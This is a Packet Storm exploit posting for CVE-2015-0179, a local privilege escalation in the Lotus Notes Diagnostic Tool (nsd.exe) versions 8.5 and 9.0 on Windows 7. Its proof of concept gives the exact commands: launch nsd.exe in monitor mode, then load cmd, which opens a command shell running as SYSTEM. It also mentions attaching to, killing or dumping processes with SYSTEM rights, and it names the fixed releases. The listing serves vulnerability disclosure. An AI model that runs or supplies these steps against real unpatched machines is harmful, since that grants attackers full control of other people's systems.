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Lotus Notes Diagnostic Tool 8.5 / 9.0 Privilege Escalation

🗓️ 02 Sep 2017 00:00:00Reported by ParagonSecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 83 Views

Lotus Notes Diagnostic Tool (nsd.exe) Privilege Escalation on Windows 7 Enterpris

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`# Exploit Title: Lotus Notes Diagnostic Tool (nsd.exe) Privelege Escalation  
# Date: 02-09-2017  
# Exploit Author: ParagonSec  
# Website: https://github.com/paragonsec  
# Version: 8.5 & 9.0  
# Tested on: Windows 7 Enterprise  
# CVE: CVE-2015-0179  
# Vendor CVE URL: http://www-01.ibm.com/support/docview.wss?uid=swg21700029  
# Category: Local & Privilege Escalation Exploit  
  
  
1. Description  
  
Lotus Notes Diagnostic Tool (nsd.exe) runs under NT Authority/System rights.   
This can be leveraged to run a program under the System context and elevate   
local privileges.  
  
  
2. Proof of Concept  
  
First you need to execute nsd.exe under the monitor/CLI mode:  
  
> nsd.exe -monitor  
  
Next, after NSD finishes loading you can execute any program under the System context. In this example we will execute CMD.  
  
nsd> LOAD CMD  
  
You will see that cmd is opened as System now.  
  
Also, NSD can be used to attach, kill processes or create memory dumps under the System context.  
  
  
3. Solution:  
  
This has been fixed on release 9.0.1 FP3 and 8.5.3 FP6.  
  
`

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